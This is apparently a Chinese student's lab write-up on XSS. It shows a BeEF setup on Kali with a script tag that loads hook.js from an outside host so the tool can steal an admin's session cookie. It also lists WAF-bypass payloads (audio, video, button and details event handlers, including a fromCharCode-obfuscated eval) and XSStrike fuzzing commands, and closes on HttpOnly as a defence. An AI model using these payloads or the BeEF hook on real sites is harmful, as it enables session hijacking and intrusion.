免责声明:这篇文章只是学习记录,仅供学习参考
这里重在理解xss的危害,话不多说,进入正题。
通过xss漏洞登录后台
打开kali 输入beef-xss
按y安装,然后它会叫你输入密码(自己设置)
也可以在文件路径中修改 /etc/beef-xss/config.yaml
进入beef网页,登录
输入木马作用就是点击后跳转到http://192.168.211.129:3000/hook.js
配合xss,将hook插入到存在xss的注入处;
直接诱使客户端访问含有 hook 的伪造站点
结合中间人攻击注入 hook 脚本
在这里beef就是中间人
<script src="http://192.168.211.129:3000/hook.js">
登录后台,点击订单查询,触发脚本
kali登录后台发现登不了,因为它还有身份认证服务,需要获取登录后台产生cookie,触发脚本后用beef获取cookie
成功了容易啊,中间出了小差错,一直在试
但是有局限性
1.有漏洞
2.浏览器版本
3.需要登录
4.各种防护 WAF 等
5.怎么让对方触发(重点,核心点)
我C,被狗哥拦住了,呜呜呜。
XSS 的绕过技巧与修复
登录http://localhost/1.php?x=%3Cscript%3Ealert(1)%3C/script%3E
出现弹框
开启安全dong
被拦截了,想办法绕过
标签语法替换
说白了就是这个标签没有被干掉,也就是说安全dog允许这种标签通过,不允许一些可以插入的标签通过,<script>就在其中
audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
成功,我不全试了,这里提供另外的标签语法
video 标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
代码就不用我解读了吧,就是src=x 是无效的url地址,判断错误,然后执行后面语句,如果前面是有效url则不执行后面语句。
button 标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
以按钮去触发
加密算法
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
XSStrike
下载xsstrike
https://github.com/s0md3v/XSStrike
在管理员命令下 E:\123pan\Downloads\XSStrike-master>
输入pip install -r requirements.txt
fuzz测试
python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
直接探测
输入 python xsstrike.py -u http://localhost/1.php?x=a
成功绕过
bp爆破
其实和直接探测都是一样的操作,就是一个一个试没啥可说的,跟爆破密码一样步骤,我就不多说了。
简单提一句嘴,课上老师没细讲,因该就了解一下
如果您在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie 信
息,这样能有效的防止 XSS 攻击,但是并不能防止 xss 漏洞只能是防止 cookie 被盗
取。